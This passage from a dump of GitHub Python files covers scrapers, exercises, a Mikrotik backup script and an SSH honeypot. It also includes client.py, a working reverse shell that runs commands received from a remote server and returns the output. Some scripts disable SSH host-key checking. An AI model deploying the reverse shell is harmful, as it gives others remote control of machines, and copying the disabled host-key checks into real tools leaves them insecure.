yTest.. from \" + yTestFile))\n        yTestRaw = np.loadtxt(yFile, dtype=\"uint8\", delimiter=\",\")\n    return (XTrainRaw, XTestRaw, yTrainRaw, yTestRaw)\n\ndef loadFromNpz(npzFile):\n    npz = np.load(npzFile)\n    XTrainRaw = npz[\"XTrain\"]\n    XTestRaw = npz[\"XTest\"]\n    yTrainRaw = npz[\"yTrain\"]\n    yTestRaw = npz[\"yTest\"]\n    return XTrainRaw, XTestRaw, yTrainRaw, yTestRaw\n\n\ndef saveToNpz(fname, XTrain, XTest, yTrain, yTest):\n    f = open(fname, \"w+\")\n    numpy.savez(f, XTrain=XTrain, XTest=XTest, yTrain=yTrain, yTest=yTest)\n    f.close()\n    return 0\n\n","repo_name":"Vaishaal/karnals","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2504,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"20506446855","text":"enterFood = input(\"Please enter your restaurant dishes,separated by comma ',': \")\r\nenterFood = enterFood.split(sep = \", \")\r\nfindFood = input(\"Please input food to search: \")\r\n\r\nisFound = True\r\nallFood = 0\r\n\r\nfor i in enterFood:\r\n    if (findFood.upper() in i.upper()):\r\n        print(\"Yes, we serve the following: \")\r\n        break\r\n\r\nfor i in enterFood:\r\n    if (findFood.upper() in i.upper()):\r\n        print(i)\r\n    else:\r\n        isFound = False\r\n        allFood += 1\r\n        #pass\r\n\r\nif isFound == False and allFood == len(enterFood):\r\n    print(f\"Sorry, we don't serve {findFood}!\")\r\n    print(f\"Pls choose from {enterFood}\")","repo_name":"TheOneFluffer/Programs","sub_path":"P03/Selectstring.py","file_name":"Selectstring.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"43197315206","text":"import math\t#importe tout math et le place dans un nouveau namespace nommé 'math'\n\t\t\t#les appels se font alors en math.xxx (math.sqrt(5), ...)\n### from math import sqrt #-> n'importe que sqrt et le place dans le namespace courant (pas 'math')\n### from math import *    #-> importe tout math et met tout dans le namespace courant\nimport os\nfrom multiplie import *\n\n\nprint(\"coucou\")\na=1\n#while 1:\n#\ta=0\n\ndef multiplie_7(n):\n\treturn 7*n\n\ndef table_7():\n\ti=0\n\twhile i<7:\n\t\tprint(i, \" x 7 = \", multiplie_7(i))\n\t\ti=i+1\n\ntable_7()\n\n####passage de paramètres et valeurs par défaut\ndef fonc(a=1, b=2, c=3, d=4, e=5):\n\tprint(\"a =\", a, \"b =\", b, \"c =\", c, \"d =\", d, \"e =\", e)\n\nfonc()\nfonc(4)\nfonc(b=8, d=5)\nfonc(b=35, c=48, a=4, e=9)\n\n####On ne peut pas surcharger une fonction en python\ndef exemple():\n    print(\"Un exemple d'une fonction sans paramètre\")\n\nexemple()\n\ndef exemple(): # On redéfinit la fonction exemple\n    print(\"Un autre exemple de fonction sans paramètre\")\n\nexemple()\n\n####fonctions lambda\tx:f(x)\nf = lambda x: x*x\nprint(\"le carré de 5 est \", f(5));\n\ntable(8, 12)\n\n####forme minimale (à éviter) -> try: bloc à essayer\t\texcept: bloc a executer en cas d'erreur\nannee = input()\ntry:\n    annee = int(annee)\nexcept:\n    print(\"Erreur lors de la conversion de l'année.\")\n\n####forme complète -> try: blabla\texcept <type de l'exception>: blabla\telse: blabla\tfinally: blabla\ntry:\n\tresultat = numerateur / denominateur\nexcept NameError:\n\tprint(\"La variable numerateur ou denominateur n'a pas été définie\")\nexcept TypeError:\n\tprint(\"La variable numerateur ou denominateur ne connait pas la division\")\nexcept ZeroDivisionError:\n\tprint(\"La variable denominateur est égale à 0\")\nelse:\t#si aucun des except n'est executé\n    print(\"Le résultat obtenu est\", resultat)\nfinally:\t#executé qu'il y ai eu des erreurs ou non\n\tprint(\"coucou\")\n\n####lever une exception grâce à assert <test>\nprint(\"entrer un chiffre inférieur à 10 (ou supérieur si vous êtes un ouf)\")\nvar=input()\nvar=int(var)\nassert var <= 10\n\n####lever une exception directement grâce à raise <type de l'exception>(<message à afficher>)\nprint(\"voulez-vous lever une exception ? [y/n]\")\nvar=input()\nif var == 'y' or var == 'Y':\n\traise ValueError(\"vous avez décidé de lever une exception\")\nelse:\n\tprint(\"vous faites là un choix avisé\")\n\t\n####Formater les chaines de char\nprenom=\"Paul\"\nnom=\"Dupont\"\nage=21\nprint(\"Je m'appelle {0} {1} et j'ai {2} ans\".format(prenom, nom, age))\n\ndate=\"Dimanche 24 juillet 2011\"\nheure=\"17:00\"\nprint(\"cela s'est produit le {} à {}.\".format(date, heure)) #pas obligé de mettre les indices\n\nadresse=\"\"\"\n {no_rue}, {nom_rue}\n {code_postal} {nom_ville} ({pays})\n\"\"\".format(no_rue=5, nom_rue=\"rue des Postes\", code_postal=75003, nom_ville=\"Paris\", pays=\"France\")\nprint(adresse) #on peut aussi mettre les noms des variables\n\t\nos.system(\"pause\")","repo_name":"jeandelabatte/python","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2852,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"8988466845","text":"import requests\nfrom bs4 import BeautifulSoup\n\n# 1. url\nurl = 'https://finance.naver.com/marketindex/'\n\n# 2. url 로 요청을 보낸다.\nresponse = requests.get(url).text\n\n#print(response)\n#print(type(response))\n# 3. 받은 응답을 예쁘게 꾸민다.\ndata = BeautifulSoup(response, 'html.parser')\n#data = BeautifulSoup(response, 'html.parser')\n#print(data)\n# 4. 꾸민 응답중에서 원하는 데이터를 선택.\nresult = data.select_one('#exchangeList > li.on > a.head.usd > div > span.value').text\n#result = data.select_one('#exchangeList > li.on > a.head.usd > div > span.value').text\nprint(result)\n","repo_name":"hyeondulee/practice","sub_path":"startcamp/day2/naver_exchange.py","file_name":"naver_exchange.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"1198119240","text":"# chat/consumers.py\nimport json\nfrom PIL import Image\nfrom io import BytesIO\nimport base64\nfrom channels.generic.websocket import WebsocketConsumer\nfrom asgiref.sync import async_to_sync\n\ncount = 0\nclass CanvasConsumer(WebsocketConsumer):\n    def connect (self):\n        self.room_group_name = 'main'\n        # Join room group\n        async_to_sync(self.channel_layer.group_add)(\n            self.room_group_name,\n            self.channel_name\n        )\n        global count\n        count += 1\n        self.accept()\n        if count == 1:\n            with open(\"art.png\", \"rb\") as image_file:\n                encoded_string = base64.b64encode(image_file.read())\n            self.send(text_data=json.dumps({'type': 'canvas', 'canvas': encoded_string.decode(\"utf-8\")}))\n        else:\n            # Send message to room group requesting THEM to send new consumer offers\n            async_to_sync(self.channel_layer.group_send)(\n                self.room_group_name,\n                {\n                    'type' : 'newConnection',\n                    'sender_channel_name' : self.channel_name\n                }\n            )\n\n    def disconnect (self, close_code):\n        # Remove from consumer layer\n        async_to_sync(self.channel_layer.group_discard)(\n            self.room_group_name,\n            self.channel_name\n        )\n        global count\n        count -= 1\n\n    def receive (self, text_data):\n        data = json.loads(text_data)\n        if data['type'] == 'sendOffer':\n            async_to_sync(self.channel_layer.group_send)(\n            self.room_group_name,\n            {\n                'type' : 'sendOffer',\n                'for' : data['sender_channel_name'],\n                'from' : self.channel_name,\n                'offer' : data['sdp']\n            }\n        )\n\n        elif data['type'] == \"offer\":\n            async_to_sync(self.channel_layer.group_send)(\n                self.room_group_name,\n                {\n                    'type' : 'sendAnswer',\n                    'for' : data['sender_channel_name'],\n                    'from' : self.channel_name,\n                    'answer' : data['anwser']\n                }\n            )\n        elif data['type'] == \"canvas\":\n            canvas = Image.open(\"art.png\")\n            input_canvas = Image.open(BytesIO(base64.b64decode(data['canvas'][22:])))\n\n            canvas.paste(input_canvas, (0,0), input_canvas)\n            canvas.save(\"art.png\")\n\n            with open(\"art.png\", \"rb\") as image_file:\n                encoded_string = base64.b64encode(image_file.read())\n\n    # -----------|----------------------------------|-------------\n    # Functions that handle incoming messages from other sockets\n    # -----------|----------------------------------|-------------\n\n\n    # Broadcast a message to all already connected consumers REQUESTING THEM to send you sdps\n    def newConnection (self, event):\n        if event['sender_channel_name'] != self.channel_name:\n            self.send(text_data=json.dumps(\n            {\n                'type' : 'sendOffer',\n                'sender_channel_name' : event['sender_channel_name']\n            }))\n\n    # All cosumers send there sdps the new consumer receives them and sends it to it's frontend\n    def sendOffer (self, event):\n        if event['for'] == self.channel_name:\n            self.send(text_data=json.dumps(\n                {\n                    'type' : 'offer',\n                    'sdp' : event['offer'],\n                    'sender_channel_name' : event['from']\n                }\n            ))\n\n    # The new consumer got it's sdp back from the frontend and sends it to the creator of the offer\n    def sendAnswer (self, event):\n        if event['for'] == self.channel_name:\n            self.send(text_data=json.dumps(\n                {\n                    'type' : 'answer',\n                    'answer' : event['answer'],\n                    'sender_channel_name' : event['from']\n\n                }))\n\n    # After sendAnswer the signaling is done!\n","repo_name":"JulesImmerzeel/WorldWhideBoard","sub_path":"main/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":3995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"1862901513","text":"from getpass import getuser\nfrom socket import *\nimport subprocess\nimport platform\nimport os\n\n\n#armazena informações\nget_os = platform.uname()[0]\nget_user = getuser()\nos_info = f\"client name: {get_user}, client OS: {get_os}\"\n\n#AF_INET == IPV4, SOCK_STREAM == TCP\nconnection = socket(AF_INET,SOCK_STREAM)\n#faz a conexão com o servidor\nip = ''\nport = \"\"\nconnection.connect((ip,port))\n\n#envia as informações do sistema operacional\nconnection.send(os_info.encode())\n\nwhile True:\n    #recebe o comando do servidor\n    receive = connection.recv(1024).decode()\n\n    if receive.lower() == \"exit\":\n        exit()\n    #altera o diretorio\n    elif receive[:2] == \"cd\":\n        os.chdir(receive[3:])\n        connection.send(os.getcwd().encode())\n    #executa o comando do servidor\n    else:\n        output = subprocess.getoutput(receive)\n\n        if output == \"\" or output == None:\n            output = \"error\"\n        \n        else:\n            connection.send(output.encode())","repo_name":"thiagoxavieraguilar/Reverse-Shell-Python","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"34405154994","text":"#coding: utf-8\nimport urllib.request\n\n\nresponse = urllib.request.urlopen('http://placekitten.com/g/700/700')\n#700/700表示图片大小为700*700，可任意更改\ncat_img = response.read()\n\nwith open ('cat_700_700.jpg', 'wb') as cat:\n    cat.write(cat_img)\n","repo_name":"wjsaya/python","sub_path":"spiders/cat.py","file_name":"cat.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"51"}
+{"seq_id":"4729715213","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSolution to Project Euler problem 30\n\nAuthor: Jaime Liew\nhttps://github.com/jaimeliew1/Project_Euler_Solutions\n\"\"\"\n\n# how was this limit chosen?\nlimit = 999999\n\ndef run():\n    terms = []\n    for i in range(2, limit):\n        sumofFifths = sum(int(d)**5 for d in str(i))\n        if sumofFifths == i:\n            terms.append(i)\n\n    #print(terms)\n    return sum(terms)\n\n\nif __name__ == \"__main__\":\n\tprint(run())\n\n","repo_name":"jaimeliew1/Project_Euler_Solutions","sub_path":"Python/030.py","file_name":"030.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"16673791417","text":"'''\nAuthor: Nathan Bockisch\nDate: October 12, 2021\n'''\n\n# Definition for singly-linked list.\n# class ListNode:\n#     def __init__(self, val=0, next=None):\n#         self.val = val\n#         self.next = next\nclass Solution:\n    def rotateRight(self, head: Optional[ListNode], k: int) -> Optional[ListNode]:\n        # Deal with empty list, or no rotation\n        if (not head or k <= 0):\n            return head\n        \n        # Make list circular\n        cur = head\n        len = 1\n        while (cur and cur.next):\n            cur = cur.next\n            len += 1\n        cur.next = head\n        \n        # Head is at len - k\n        # to account for k > len, mod it by len - 1,\n        # the -1 is for 0 indexing\n        \n        # Break list at new tail and set new head right after\n        cur = head\n        for i in range(len - k % len - 1):\n            cur = cur.next\n        \n        head = cur.next\n        cur.next = None\n        \n        return head\n","repo_name":"nbockisch/LeetCode-Solutions","sub_path":"linked_list/conclusion/rotate_list/rotate_list.py","file_name":"rotate_list.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"41980695412","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nYoann QUERET <yoann@queret.net>\n2016-06\n\"\"\"\n\nimport os\nimport argparse\nimport paramiko\nimport pysftp\nimport sys\nimport json\nimport time\n\nclass Config():\n    def __init__(self, config_file):\n        self.config_file = config_file\n        self.load(config_file)\n        \n    def __getitem__(self, item):\n        return getattr(self, item)\n            \n    def load(self, config_file):\n        with open(self.config_file) as data_file:    \n            self.config = json.load(data_file)\n\n    def write(self, config):\n        try:\n            with open(self.config_file, 'w') as outfile:\n                data = json.dumps(config, indent=4, separators=(',', ': '))\n                outfile.write(data)\n        except Exception as e:\n            raise ValueError( str(e) )\n\nif __name__ == '__main__':\n    # Get configuration file in argument\n    parser = argparse.ArgumentParser(description='backup Mikrotik')\n    parser.add_argument('-c','--config', help='configuration filename',required=True)\n    cli_args = parser.parse_args()\n    \n    # Check if configuration exist and is readable\n    if os.path.isfile(cli_args.config) and os.access(cli_args.config, os.R_OK):\n        print (\"Use configuration file {0}\".format(cli_args.config))\n    else:\n        print (\"Configuration file is missing or is not readable - {0}\".format(cli_args.config))\n        sys.exit(1)\n        \n    # Load configuration\n    conf = Config(cli_args.config)\n    \n    # Check if backup_base_directory is writable\n    if os.path.isdir(conf.config['global']['backup_base_directory']) and os.access(conf.config['global']['backup_base_directory'], os.W_OK):\n        print (\"Use backup base directory {0}\".format(conf.config['global']['backup_base_directory']))\n    else:\n        print (\"Backup base directory is missing or is not writable - {0}\".format(conf.config['global']['backup_base_directory']))\n        sys.exit(1)\n        \n    # Loop on host\n    if conf.config['devices']:\n        for device in conf.config['devices']:\n            print (\"Start backup device : {0}\".format(device['host']))\n            \n            backup_dir = '{0}/{1}'.format(conf.config['global']['backup_base_directory'], device['host'])\n            backup_file = 'configuration.export'\n            \n            # Check if backup directory exist and create it if necessary\n            if not os.path.isdir(backup_dir):\n                os.makedirs(backup_dir)\n                \n            # Check if backup directory is writeable\n            if not os.access(backup_dir, os.W_OK):\n                print (\"Backup directory is not writeable - {0}\".format(backup_dir))\n            \n            \n            # Create configuration file on device\n            \n            # -- Use device private key if available or global private key\n            if 'pkey_file' in device:\n                pkey = paramiko.RSAKey.from_private_key_file(device['pkey_file'])\n            else:\n                pkey = paramiko.RSAKey.from_private_key_file(conf.config['global']['pkey_file'])\n            \n            # -- Set ssh client\n            ssh_client = paramiko.SSHClient()\n            ssh_client.load_system_host_keys()\n            ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n            #ssh_client.set_missing_host_key_policy(paramiko.WarningPolicy)\n            \n            # -- ssh connect\n            try:    \n                ssh_client.connect(device['host'], port=device['port'], username=device['user'], pkey=pkey)\n            except:\n                print ('- Error during ssh connection')\n            \n            # -- ssh command\n            try:\n                cmd = '/export file={0}'.format(backup_file)\n                ssh_client.exec_command(cmd)\n            except:\n                print ('- Error during export command')\n            \n            # -- close ssh connection\n            try:\n                ssh_client.close()\n            except:\n                pass\n            \n            # Wait to leave time to write configuration file\n            time.sleep(2)\n            \n            # Get configuration file\n            cnopts = pysftp.CnOpts()\n            cnopts.hostkeys = None  \n            \n            try:\n                sftp = pysftp.Connection(device['host'], port=device['port'], username=device['user'], private_key=pkey, cnopts=cnopts)\n            except:\n                print ('- Error during sftp connection')\n                \n            try:\n                rsc_backup_file = '{0}.rsc'.format(backup_file)\n                curr_path = os.getcwd()\n                os.chdir(backup_dir)\n                sftp.get(rsc_backup_file)\n                os.chdir(curr_path)\n            except:\n                print ('- Error during sftp get file : {0}.rsc').format(backup_file)\n                    \n    else:\n        print (\"No devices to backup\")","repo_name":"YoannQueret/backup_mikrotik","sub_path":"backup.py","file_name":"backup.py","file_ext":"py","file_size_in_byte":4869,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"29779831881","text":"from selenium import webdriver\r\nfrom selenium.webdriver.chrome.options import Options\r\nfrom selenium.webdriver.chrome.service import Service\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.common.exceptions import StaleElementReferenceException,NoSuchElementException\r\nfrom csv import writer\r\noptions = Options()\r\noptions.headless = True\r\noptions.add_argument(\"--window-size=1920,1200\")\r\nchrome_executable = Service(executable_path='chromedriver.exe', log_path='NUL')\r\ndriver = webdriver.Chrome(service=chrome_executable)\r\ndriver.get('https://wefut.com/player-database/\"fifa number\"') #13,14,...,22\r\nnext_page = driver.find_element(By.XPATH, '//*[@id=\"playerTable_next\"]')\r\nchange_to_GK = driver.find_element(By.XPATH, '//*[@id=\"playerTable_wrapper\"]/div[1]/div/div[1]/div/div[2]/div/label/div/div[1]/span')\r\nheaders = ['Name', 'Rating', 'Type', 'Region', 'DIV', 'HAN', 'KIC', 'REF', 'SPE', 'POS', 'Link']\r\n\r\ni = 0\r\nwith open('csv file name', 'w', encoding='utf-8', newline='') as f:\r\n    thewriter = writer(f)\r\n    thewriter.writerow(headers)\r\n    driver.execute_script(\"arguments[0].click();\", change_to_GK)\r\n    while True:\r\n        i = next_page.get_attribute(\"class\")\r\n        if i == \"paginate_disabled_next\":\r\n            break\r\n        for x in range(1, 26):\r\n            try:\r\n                try:\r\n                    xpath_name = '//*[@id=\"playerTable\"]/tbody/tr[{}]/td[2]/a'.format(x)\r\n                    xpath_rtg = '//*[@id=\"playerTable\"]/tbody/tr[{}]/td[3]/font'.format(x)\r\n                    xpath_type = '//*[@id=\"playerTable\"]/tbody/tr[{}]/td[3]/font'.format(x)\r\n                    xpath_region = '//*[@id=\"playerTable\"]/tbody/tr[{}]/td[7]'.format(x)\r\n                    xpath_DIV = '//*[@id=\"playerTable\"]/tbody/tr[{}]/td[8]'.format(x)\r\n                    xpath_HAN = '//*[@id=\"playerTable\"]/tbody/tr[{}]/td[9]'.format(x)\r\n                    xpath_KIC = '//*[@id=\"playerTable\"]/tbody/tr[{}]/td[10]'.format(x)\r\n                    xpath_REF = '//*[@id=\"playerTable\"]/tbody/tr[{}]/td[11]'.format(x)\r\n                    xpath_SPE = '//*[@id=\"playerTable\"]/tbody/tr[{}]/td[12]'.format(x)\r\n                    xpath_POS = '//*[@id=\"playerTable\"]/tbody/tr[{}]/td[13]'.format(x)\r\n                    name = driver.find_element(By.XPATH, xpath_name).text\r\n                    rtg = driver.find_element(By.XPATH, xpath_rtg).text\r\n                    card_type = (driver.find_element(By.XPATH, xpath_type)).get_attribute('class')\r\n                    \r\n                    region = driver.find_element(By.XPATH, xpath_region).text\r\n                    # Note: for FIFA22 use (driver.find_element(By.XPATH, xpath_region)).get_attribute('title')\r\n                    \r\n                    DIV = driver.find_element(By.XPATH, xpath_DIV).text\r\n                    HAN = driver.find_element(By.XPATH, xpath_HAN).text\r\n                    KIC = driver.find_element(By.XPATH, xpath_KIC).text\r\n                    REF = driver.find_element(By.XPATH, xpath_REF).text\r\n                    SPE = driver.find_element(By.XPATH, xpath_SPE).text\r\n                    POS = driver.find_element(By.XPATH, xpath_POS).text\r\n                    Link = (driver.find_element(By.XPATH, xpath_name)).get_attribute('href')\r\n\r\n                except NoSuchElementException:\r\n                    pass\r\n                info = [name, rtg, card_type, region, DIV, HAN, KIC, REF, SPE, POS, Link]\r\n                thewriter.writerow(info)\r\n            except StaleElementReferenceException:\r\n                pass\r\n        driver.execute_script(\"arguments[0].scrollIntoView();\", next_page)\r\n        driver.execute_script(\"arguments[0].click();\", next_page)\r\n","repo_name":"juanm07/FifaUT_db-webscraping","sub_path":"fifa_gk.py","file_name":"fifa_gk.py","file_ext":"py","file_size_in_byte":3653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"19316210741","text":"from setuptools import setup, find_packages\n\n\nauthor = \"randydu\"\npackage_name = \"beebird\"\npackages = find_packages()\n\n\nwith open(\"README.md\", \"r\") as fh:\n    long_description = fh.read()\n\nfrom beebird import __version__, __doc__, __license__\n\nurl = \"https://github.com/%s/%s.git\" % (author, package_name)\ndownload_url = \"https://github.com/%s/%s/archive/v%s.tar.gz\" % (author, package_name, __version__)\n\nsetup(name=package_name, \n    packages=packages,\n    version=__version__,\n    description = __doc__.split('\\n')[0],\n    long_description = long_description,\n    long_description_content_type=\"text/markdown\",\n    url=url,\n    download_url = download_url,\n    author = author,\n    author_email= \"randydu@gmail.com\",\n    keywords=[\"task\", \"cmdlet\"],\n    license=__license__,\n    scripts = [\"scripts/bee\"],\n    classifiers=[\n    'Development Status :: 2 - Pre-Alpha',\n    'Intended Audience :: Developers', \n    'Operating System :: OS Independent',\n    'Topic :: Software Development :: Libraries',\n    'Topic :: Software Development :: Libraries :: Python Modules',\n    'License :: OSI Approved :: MIT License',  \n    'Programming Language :: Python :: 3',\n  ],\n)","repo_name":"randydu/beebird","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"18631971462","text":"letters = \"etaoinshrdlcum \"\ngecodeerd = b'\\x04\\x81\\xbb@,\\xf0wI\\xba\\x02\\x10'\n\n# Toon de gecodeerde byte string ter controle.\nprint( gecodeerd, len( gecodeerd ) )\n\n# Creeer een half-byte-list op basis van de byte string.\nhalfbytelist = []\nfor c in gecodeerd:\n    halfbytelist.extend( [ int( c/16 ), c%16 ] )\nif halfbytelist[-1] == 0:\n    del halfbytelist[-1]\n    \n# Maak van de half-byte-string een string.\ngedecodeerd = \"\"\nwhile len( halfbytelist ) > 0:\n    num = halfbytelist.pop(0)\n    if num > 0:\n        gedecodeerd += letters[num-1]\n        continue\n    num = 16*halfbytelist.pop(0) + halfbytelist.pop(0)\n    gedecodeerd += chr( num )\n\n# Toon de string, ter controle.\nprint( gedecodeerd, len( gedecodeerd ) )","repo_name":"patvdheyden/CvoDeVerdieping","sub_path":"Antwoorden/answer1803.py","file_name":"answer1803.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"72331511838","text":"from search.factories import SessionAliasFactory\nfrom search.services.suggest.suggest_session_alias import SuggestSessionAlias\nfrom search.tests.services.suggest.base_test_suggest import BaseSuggestTestCase\n\n\nclass SessionAliasSuggestTestCase(BaseSuggestTestCase):\n    def test_suggest_session_alias_without_realtime_signal_processor(self):\n        with self.settings(HAYSTACK_SIGNAL_PROCESSOR=''):\n            session_alias = SessionAliasFactory(alias='skullcap')\n\n            self.rebuild_index()\n\n            expect_suggestion = session_alias.title\n\n            SuggestSessionAlias.query('skull')['Session'][0]['suggest_value'].should.be.equal(expect_suggestion)\n            SuggestSessionAlias.query('something wrong')['Session'].should.be.equal([])\n\n    def test_suggest_session_alias_with_realtime_signal_processor(self):\n        with self.settings(HAYSTACK_SIGNAL_PROCESSOR='haystack.signals.RealtimeSignalProcessor'):\n            session_alias = SessionAliasFactory(alias='skullcap')\n\n            expect_suggestion = session_alias.title\n\n            SuggestSessionAlias.query('skull')['Session'][0]['suggest_value'].should.be.equal(expect_suggestion)\n            SuggestSessionAlias.query('something wrong')['Session'].should.be.equal([])\n","repo_name":"invinst/CPDB","sub_path":"search/tests/services/suggest/test_suggest_session_alias.py","file_name":"test_suggest_session_alias.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"51"}
+{"seq_id":"2169887084","text":"\nimport base64\nfrom binascii import hexlify\nimport os\nimport socket\nimport sys\nimport threading\nimport traceback\nfrom queue import Queue\nfrom pathlib import Path\nimport paramiko\nimport argparse\nfrom paramiko.py3compat import b, u, decodebytes\n\n# load host key from file\nhost_key = paramiko.RSAKey(filename=\"test_rsa.key\")\n\nclass Server(paramiko.ServerInterface):\n    \n    # static member for user attempts \n    user_attempts = {} \n    \n    def __init__(self):\n        self.event = threading.Event() \n\n    def check_channel_request(self, kind, chanid):\n        if kind == \"session\":\n            return paramiko.OPEN_SUCCEEDED\n        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED\n\n    def check_auth_password(self, username, password):\n        # check if user has attempted login\n        if username not in self.user_attempts:\n          self.user_attempts[username] = 0\n        # increment number of user attempts\n        self.user_attempts[username] += 1\n        print(\"'{}' attempt # {}\".format(username, self.user_attempts[username]))\n        # check if user has attempted > 5 times\n        if self.user_attempts[username] > 5:\n          print(\" * * * * * * \")\n          # reset user attempts and provide access\n          self.user_attempts[username] = 0\n          return paramiko.AUTH_SUCCESSFUL \n        return paramiko.AUTH_FAILED\n\n    def get_allowed_auths(self, username):\n        return \"password\"\n\n    def check_channel_shell_request(self, channel):\n        self.event.set()\n        return True\n\nclass Shell:\n   \n  def __init__(self):\n    self.root = \"/\" \n    # root node of file tree\n    self.root_node = self.__create_node(self.root, None)\n    # current node of session\n    self.curr_node = self.root_node\n\n  def __create_node(self, name, parent_node):\n    node = {\n      \"name\": name,           # name of directory\n      \"parent\": parent_node,  # ref to parent dict\n      \"children\": {}\n    }\n    return node\n\n  def __get_abs_path(self, node):\n    abs_path = \"\"\n    # traverse parent nodes to root\n    while node != None and node[\"parent\"] != None:\n      abs_path = node[\"name\"] + \"/\" + abs_path\n      node = node[\"parent\"]\n    # add root directory to path\n    abs_path = self.root + abs_path\n    return abs_path\n      \n\n  def __resolve_path(self, path):\n    if path == \".\":\n      return self.curr_node\n    \n    tokens = path.split(\"/\")\n    \n    # default relative path\n    node = self.curr_node\n    \n    # path provided is absolute\n    if tokens[0] == \"\":\n      node = self.root_node\n    \n    for token in tokens:\n      # ignore '.' and extra '/' in path resolution\n      if token == \".\" or token == \"\":\n        continue\n      # resolve parent directory\n      elif token == \"..\":\n        parent = node[\"parent\"]\n        # root directory has no parent\n        if parent != None:\n          node = parent\n      else:\n        if token in node[\"children\"]:\n          node = node[\"children\"][token]\n        # path could not be resolved\n        else:\n          return None\n    return node\n\n  def __insert_file(self, node, name):\n    # check if file already exists in directory\n    if name in node[\"children\"]:\n      return None\n    # create node and add as child\n    node[\"children\"][name] = self.__create_node(name, node)\n    # return child node\n    return node[\"children\"][name]\n\n  def __execute_cd(self, path):\n    if path == None:\n      self.curr_node = self.root_node\n      return None \n\n    # get node from path\n    node = self.__resolve_path(path)\n    if node == None:\n      error = \"No such file or directory\"\n      return \"cd: {path}: {error}\".format(path=path, error=error)\n\n    # update current node\n    self.curr_node = node \n    return None\n  \n  def __execute_ls(self, path=None):\n    if path != None:\n      # get node from path\n      node = self.__resolve_path(path)\n      if node == None:\n        error = \"No such file or directory\"\n        return \"ls: cannot access '{path}': {error}\".format(path=path, error=error)\n      else:\n        return \" \".join(node[\"children\"].keys())\n    # use current node \n    return \" \".join(self.curr_node[\"children\"].keys())\n\n  def __execute_mkdir(self, path):\n    # check for missing argument\n    if path == None:\n      return \"mkdir: missing operand\"\n\n    error_format = \"mkdir: cannot create directory '{}': {}\"\n\n    posix_path = Path(path)\n    # get name of file being created\n    name = str(posix_path.name)\n    # get path without file\n    parent_path = str(posix_path.parent)\n    # attempt to create root directory\n    if name == \"\" and parent_path == \"/\":\n      error = \"File exists\"\n      return error_format.format(path, error)\n    # get node from path\n    node = self.__resolve_path(parent_path)\n    if node == None:\n      error = \"No such file or directory\"\n      return error_format.format(path, error)\n    \n    # get child node of inserted file\n    child = self.__insert_file(node, name)\n    if child == None:\n      error = \"File exists\"\n      return error_format.format(path, error)\n    return None\n\n  def get_curr_dir(self):\n    # get absolute path of current node\n    abs_path = self.__get_abs_path(self.curr_node)\n    return abs_path\n\n  def execute_command(self, command):\n    # ignore blank input\n    if command.strip() == \"\":\n      return \"\"\n    \n    tokens = command.strip().split()\n    # get executable\n    exe = tokens[0]\n    path = None    \n\n    # get path\n    if len(tokens) > 1:\n      path = tokens[1]\n\n    # execute corresponding command \n    if exe == \"ls\":\n      return self.__execute_ls(path)\n    elif exe == \"cd\":\n      return self.__execute_cd(path)\n    elif exe == \"mkdir\":\n      return self.__execute_mkdir(path)\n    return exe + \": command not found\"\n\n\n\ndef main():\n  parser = argparse.ArgumentParser()\n  # add required argument for port\n  parser.add_argument(\"-p\", \"--port\", help=\"ssh port\", required=True)\n  # parse command line arguments\n  args = parser.parse_args()  \n  # get ssh port\n  port = int(args.port) \n  \n  # now connect\n  try:\n      sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n      sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n      sock.bind((\"\", port))\n  except Exception as e:\n      print(\"*** Bind failed: \" + str(e))\n      traceback.print_exc()\n      sys.exit(1)\n    \n  sock.listen(100)\n  while True:\n    client = None\n    try:\n      # wait for connection from ssh clients\n      client, addr = sock.accept() \n      t = paramiko.Transport(client)\n      t.add_server_key(host_key)\n      # create ssh server for authentication\n      server = Server()\n      try:\n          t.start_server(server=server)\n      except paramiko.SSHException:\n          sys.exit(1)\n      \n      # wait for authentication\n      chan = t.accept(20)\n      if chan is None:\n          t.close()\n          continue\n     \n      # wait for client to request a shell\n      server.event.wait(10)\n      if not server.event.is_set():\n          print(\"*** Client never asked for a 